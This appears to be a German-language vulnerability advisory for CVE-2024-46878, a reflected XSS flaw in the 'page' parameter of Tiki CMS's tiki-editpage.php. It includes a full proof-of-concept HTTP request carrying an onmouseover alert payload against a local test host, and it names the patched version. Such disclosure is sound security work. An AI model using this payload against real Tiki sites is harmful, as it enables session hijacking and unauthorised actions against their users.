coldfusionx/cve-2024-46878-tikicms-xssCVE-2024-46878 - Reflektierte Cross-Site-Scripting (XSS)-Schwachstelle in Tiki CMS
Tiki CMS - Reflektierte Cross-Site-Scripting-Sicherheitslücke (XSS) im Parameter 'page'
Nur für Bildungs-, Forschungs- und Verteidigungszwecke gedacht. Die unbefugte Verwendung gegen Systeme ohne Erlaubnis ist illegal.
In der Datei tiki-editpage.php von Tiki Version 26.3 und früher besteht eine reflektierte Cross-Site-Scripting-Sicherheitslücke (XSS) im Parameter 'page'. Diese Schwachstelle ermöglicht es Angreifern, über einen manipulierten Payload beliebigen JavaScript-Code auszuführen, was zu potenziellem Zugriff auf vertrauliche Informationen oder unbefugten Aktionen führen kann.
Die Schwachstelle wird durch eine unzureichende Eingabebereinigung des Parameters page in verursacht. Die vom Benutzer bereitgestellte Eingabe wird ohne ausreichende Kodierung in der HTTP-Antwort reflektiert, wodurch die Ausführung von injiziertem JavaScript ermöglicht wird.
tiki-editpage.phpErmöglicht es einem authentifizierten Angreifer, über eine manipulierte Anfrage beliebiges JavaScript im Browser eines anderen Benutzers auszuführen, was potenziell zu Session-Hijacking oder unbefugten Aktionen führen kann.
GET /tiki-editpage.php?page=%22%20onmouseover%3Dalert(document.domain)%20 HTTP/1.1
Host: 127.0.0.1:9089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: local_tz=Asia%2FKolkata; PHPSESSIDCV=51zQV%2BMxUnJxFY9nnRP%2FFg%3D%3D; javascript_enabled=y; PHPSESSID_CSRF=t2A6i9BjH1QHEH8KaLag0jtgT4dK9TTzyn8sOcRVwg9SMycfxWjoeYFmTykOfVjNPotrBKqsizXJ%2BrYcEXci8QPZxiSyBwA5YFLRS1S2RgxeTAI%3D; PHPSESSID=e19c8b25df427a7892245dc919be2067
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Das Problem wurde in Tiki CMS Groupware Version 27.1 behoben. Benutzern wird empfohlen, auf diese oder eine spätere gepatchte Version zu aktualisieren.
Referenz des Anbieters: https://tiki.org/article514-New-Security-Updates-Released-for-Tiki-27-x-LTS-26-x-and-24-x-LTS-and-Upgrade-is-Strongly-Recommended